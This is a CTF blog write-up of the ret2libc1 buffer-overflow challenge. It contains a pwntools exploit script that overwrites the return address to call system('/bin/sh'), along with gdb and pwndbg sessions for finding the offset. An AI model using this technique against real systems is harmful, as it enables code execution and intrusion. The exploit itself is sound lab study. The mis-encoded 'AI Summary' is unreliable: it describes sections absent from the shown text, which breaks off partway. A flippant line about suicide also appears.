Skip to main content

PWN BasicROP - Ret2Libc

ยท 3 min read
Muel - Nova
Anime Would PWN This WORLD into 2D
๐Ÿค–AI Summary

ๆ€ป็ป“

ๆ–‡็ซ ็”ฑไฝœ่€…novaๆ’ฐๅ†™๏ผŒไธป่ฆๅˆ†ไบซไบ†ไป–ๅœจ่ฟ›่กŒCTF๏ผˆCapture The Flag๏ผ‰ๆฏ”่ต›ไธญๅญฆไน ๅนถๅบ”็”จROP๏ผˆReturn-Oriented Programming๏ผ‰ๆŠ€ๆœฏไธญ็š„Ret2Libcๆ”ปๅ‡ปๆ–นๆณ•็š„็ป้ชŒใ€‚ๆ–‡็ซ ่ฏฆ็ป†ไป‹็ปไบ†ไธ‰ไธชไธๅŒ้šพๅบฆ็š„Ret2Libcๆ”ปๅ‡ปๅฎžไพ‹๏ผŒๅนถๆไพ›ไบ†่งฃๅ†ณๆฏไธชๅฎžไพ‹็š„ๆ–นๆณ•ๅ’Œไปฃ็ ็คบไพ‹ใ€‚

Ret2libc1

  • ็›ฎๆ ‡ๆ˜ฏ32ไฝๆ— ไฟๆŠค็š„ELFๆ–‡ไปถ๏ผ›ๆˆ‘ไปฌ้€š่ฟ‡่ฆ†็›–่ฟ”ๅ›žๅœฐๅ€่ฐƒ็”จsystemๅ‡ฝๆ•ฐๆฅๆ‰ง่กŒ/bin/shใ€‚
  • ๅˆ†ๆžไบ†ๅฆ‚ไฝ•ๆญฃ็กฎ่ฎก็ฎ—็ผ“ๅ†ฒๅŒบๅˆฐๆ ˆ้กถ็š„ๅ็งป้‡๏ผŒๅนถๆไพ›ไบ†ไฝฟ็”จGDBๅ’Œpwndbg็š„ไธค็งๆ–นๆณ•ใ€‚
  • ่ฏฆ็ป†่งฃ้‡Šไบ†ไธบไฝ•ๅบ”ไฝฟ็”จPLT่กจ้‡Œ็š„systemๅœฐๅ€ใ€‚

Ret2libc2

  • ๅœจRet2libc1็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡ๆ‰‹ๅŠจ่พ“ๅ…ฅๆž„้€ ็š„ๅญ—็ฌฆไธฒๆฅ่ฐƒ็”จsystemๅ‡ฝๆ•ฐใ€‚
  • ้€š่ฟ‡GETSๅ‡ฝๆ•ฐ่พ“ๅ…ฅ๏ผŒๅฐ†/bin/shๅญ—็ฌฆไธฒๅ†™ๅ…ฅๅˆฐBSSๆฎต็š„็ผ“ๅ†ฒๅŒบๅœฐๅ€๏ผŒ็„ถๅŽ่ฐƒ็”จsystemใ€‚
  • ๆไพ›ไบ†ไธค็งไธๅŒ็š„PayloadๅŠ็›ธๅ…ณ็ป†่Š‚ใ€‚

Ret2libc3

  • ๆผ”็คบ้€š่ฟ‡ๅปถ่ฟŸ็ป‘ๅฎšๆณ„้œฒๅทฒ็ปๆ‰ง่กŒ่ฟ‡็š„ๅ‡ฝๆ•ฐ็š„็œŸๅฎžๅœฐๅ€ๅนถ่ฎก็ฎ—ๅ็งป๏ผŒๆœ€็ปˆ่Žทๅ–systemๅ’Œ/bin/sh็š„ๅœฐๅ€ใ€‚
  • ๅˆ†ๆžไบ†ๅฆ‚ไฝ•ๆณ„้œฒputsๅ‡ฝๆ•ฐ็š„ๅœฐๅ€๏ผŒๅนถ่ฎก็ฎ—ๅ‡บlibc็š„ๅŸบๅœฐๅ€ใ€‚
  • ๆไพ›ไบ†ไธคไธช่ฏฆ็ป†็š„EXPไปฅๅŠ็›ธๅ…ณLIBC็‰ˆๆœฌๆŸฅๆ‰พๆ–นๆณ•ใ€‚

Advanced: ciscn_2019_c_1

  • ๆถ‰ๅŠ64ไฝ็จ‹ๅบ๏ผŒ้€š่ฟ‡ๅฏ„ๅญ˜ๅ™จไผ ๅ‚ๅฎŒๆˆRet2libcๆ”ปๅ‡ปใ€‚
  • ๆไพ›ไบ†ๅฎŒๆ•ด็š„exploitไปฃ็ ๏ผŒๅนถๆŒ‡ๅ‡บๅœจ64ไฝไธ‹้œ€่ฆๆณจๆ„ๆ ˆๅธงๅนณ่กก็š„้—ฎ้ข˜ใ€‚

็‰นๅˆซๆ„Ÿ่ฐข

  • ๆ–‡็ซ ๆœ€ๅŽ็‰นๅˆซๆ„Ÿ่ฐขไบ†Mark๏ผŒไป–่ฏฆ็ป†ๆŒ‡ๅฏผไบ†ไฝœ่€…GDB็š„็”จๆณ•๏ผŒๅนถๅฝ•ๅˆถไบ†ๆ•™ๅญฆ่ง†้ข‘ใ€‚

้€š่ฟ‡่ฟ™็ฏ‡่ฏฆๅฐฝ็š„ๆ–‡็ซ ๏ผŒ่ฏป่€…ๅฏไปฅ็ณป็ปŸๅœฐไบ†่งฃๅนถๆŽŒๆกROPไธญ็š„Ret2LibcๆŠ€ๆœฏ๏ผŒ้€ๆญฅๆๅ‡CTFๆฏ”่ต›ไธญ็š„ๅฎžๆˆ˜ๆŠ€่ƒฝใ€‚

After some painful reflections, failing to solve a few problems in a row, and receiving some guidance from zbr, I decided to commit suicide.

Enough.

ret2libc1โ€‹

Check the protections, no Canary and no PIE, 32-bit ELF.

image

In the string list, you can see both system and /bin/sh.

image

Simply construct a function to overwrite the return address.

from pwn import *

context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'

sh = process("./ret2libc1")
elf = ELF("./ret2libc1")

system_addr = 0x8048460 # plt
# system_addr = elf.plt["system"] # it works as well
binsh_addr = 0x08048720
sh.recvuntil(b"RET2LIBC >_<\n")

payload = b'A'*(0x6c+0x04) + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

Some key points:

  • The address of system should be taken from the PLT table, not the one seen in the string. Refer to PLT / GOT - Dynamic Linking.

  • In this challenge, in IDA you can see char s[100]; // [esp+1Ch] [ebp-64h] BYREF, which indicates that the distance from ebp is 0x64 bytes, but in reality it is 0x6c bytes.

    • Here's the solution provided by Mark:

      image

    • How to calculate the offset? Here are two methods using gdb and pwndbg:

      • gdb

        • Find the address of call _gets, you can see that s is right above it.

        image

        • Set a breakpoint at 0x0804867B

          gdb ./ret2libc
          b *0x0804867E
          r
          Breakpoint 2, 0x0804867e in main () at ret2libc1.c:27
          27 in ret2libc1.c
          LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ REGISTERS ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
          EAX 0xffffcf3c โ—‚โ€” 0x0
          EBX 0x0
          ECX 0xffffffff
          EDX 0xffffffff
          EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) โ—‚โ€” 0x1ead6c
          ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) โ—‚โ€” 0x1ead6c
          EBP 0xffffcfa8 โ—‚โ€” 0x0
          ESP 0xffffcf20 โ€”โ–ธ 0xffffcf3c โ—‚โ€” 0x0
          *EIP 0x804867e (main+102) โ€”โ–ธ 0xfffdade8 โ—‚โ€” 0xfffdade8
          โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ DISASM ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
          0x804867b <main+99> mov dword ptr [esp], eax
          โ–บ 0x804867e <main+102> call gets@plt <gets@plt>
          arg[0]: 0xffffcf3c โ—‚โ€” 0x0
          arg[1]: 0x0
          arg[2]: 0x1
          arg[3]: 0x0

          0x8048683 <main+107> mov eax, 0
          0x8048688 <main+112> leave
          0x8048689 <main+113> ret

          0x804868a nop
          0x804868c nop
          0x804868e nop
          0x8048690 <__libc_csu_init> push ebp
          0x8048691 <__libc_csu_init+1> push edi
          0x8048692 <__libc_csu_init+2> xor edi, edi
          โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ STACK ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
          00:0000โ”‚ esp 0xffffcf20 โ€”โ–ธ 0xffffcf3c โ—‚โ€” 0x0
          01:0004โ”‚ 0xffffcf24 โ—‚โ€” 0x0
          02:0008โ”‚ 0xffffcf28 โ—‚โ€” 0x1
          03:000cโ”‚ 0xffffcf2c โ—‚โ€” 0x0
          ... โ†“ 2 skipped
          06:0018โ”‚ 0xffffcf38 โ€”โ–ธ 0xf7ffd000 โ—‚โ€” 0x2bf24
          07:001cโ”‚ eax 0xffffcf3c โ—‚โ€” 0x0
          โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ BACKTRACE ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
          โ–บ f 0 0x804867e main+102
          f 1 0xf7de7ee5 __libc_start_main+245
          f 2 0x80484f1 _start+33
          โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

          From the [REGISTERS] section, we can see that the address of s is 0xffffcf3c, and the offset from ESP address 0xffffcf20 is 0x1c, which is consistent with what we saw in IDA. Additionally, note the EBP address 0xffffcfa8, and by simple addition and subtraction, we can calculate the offset between EBP and ESP as 0x88, which means the offset between EBP and s is 0x6c, contradicting what we see in IDA that it is [ebp-64h].

      • pwndbg

        I am currently not familiar with this method. I will check the pwndbg documents later.

        • First, generate some junk characters

          pwndbg> cyclic 200
          aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
        • Run the program again and input the generated junk characters

          pwndbg> r
          Starting program: /home/nova/Desktop/CTF/ctf-wiki/ret2libc/ret2libc1
          RET2LIBC >_<
          aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

          Program received signal SIGSEGV, Segmentation fault.
          0x62616164 in ?? ()
          LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Loading Comments...